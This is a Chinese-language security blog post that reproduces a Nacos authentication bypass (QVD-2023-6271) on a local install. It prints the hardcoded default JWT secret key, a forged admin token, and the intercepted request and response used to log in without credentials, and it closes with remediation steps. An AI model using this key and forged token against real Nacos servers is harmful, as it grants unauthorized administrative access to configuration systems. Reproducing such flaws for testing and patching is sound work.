-
0x01 阅读须知
花果山的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!
-
0x02 前言
{
"alg": "HS256",
"typ": "JWT"
}
{
"sub": "1234567890",
"name": "John Doe",
"admin": true
}
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret)
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY4Nzc3NTY5NX0.Gyh5fwZavKvHp-Ooitu4iE_8tgYYYqngUb1c4jTEDKs
-
0x03 研究过程
在Nacos身份认证绕过漏洞复现文章中提到jwt.io网站,其中有一个secret base64 encoded的选项,百度一下得知勾选后,即认为密钥是base64编码,加密前会先对密钥进行base64解码。
在沉淀学习中
https://github.com/alibaba/nacos/releases
这里选择2.2.0(Dec 14, 2022)
直接丢入命令启动
startup.cmd -m standalone
这样就开启来了,访问这个地址
本机ip
http://当前局域网IP地址:8848/nacos/index.html#/login
开始复现
然后打开刚才解压后的这个文件 application.properties
nacosconfapplication.properties
这里的token.secret.key是固定写死的值
把它拿出来
SecretKey012345678901234567890123456789012345678901234567890123456789
访问这个链接生成jwt
https://jwt.io/
丢入payload
{
"sub": "nacos",
"exp": 1699630350
}
这里的exp是时间戳
时间戳的话需要比当前系统的时间晚
https://tool.lu/timestamp/
给他丢进入去
这里的VERIFY SIGNATURE
丢入刚才的token.secret.key值
然后复制Encoded的参数
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5OTYzMDM1MH0.6xCQyzME4z0Q_DhoB7q6Mi1L0W9zlGk2fEnCPJ1pFgo
抓取登入的请求包
插入这个请求属性
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5OTYzMDM1MH0.6xCQyzME4z0Q_DhoB7q6Mi1L0W9zlGk2fEnCPJ1pFgo
发送
得到了响应包
复制这个响应包
HTTP/1.1 200
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Security-Policy: script-src 'self'
Set-Cookie: JSESSIONID=1E33A37D01C31EC67CD6B6D537DE6173; Path=/nacos; HttpOnly
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5OTYzMDM1MH0.6xCQyzME4z0Q_DhoB7q6Mi1L0W9zlGk2fEnCPJ1pFgo
Content-Type: application/json
Date: Fri, 10 Nov 2023 01:57:42 GMT
Connection: close
Content-Length: 197
{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5OTYzMDM1MH0.6xCQyzME4z0Q_DhoB7q6Mi1L0W9zlGk2fEnCPJ1pFgo","tokenTtl":18000,"globalAdmin":true,"username":"nacos"}
然后重新抓包
随便输入登入信息
拦截响应包
把这个响应包给替换刚才获取到token的响应包
发送
成功进入后台
漏洞修复
1.2.0版本及以上的nacos
修改配置文件中的nacos.core.auth.plugin.nacos.token.secret.key
即可
1.1.4版本及以下的nacos
升级nacos到最新版
大佬们觉得作者文章哪里写的不对 && 有问题
来吐槽
不要紧 不碍事
大佬的吐槽就是我改进的地方
--------------------------------------
有时间 会更新 会迟到 但不会不到
原文始发于微信公众号(K搞安全):关于Nacos身份认证绕过漏洞默认密钥和JWT的研究 && 复现Nacos 身份认证绕过(QVD-2023-6271)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论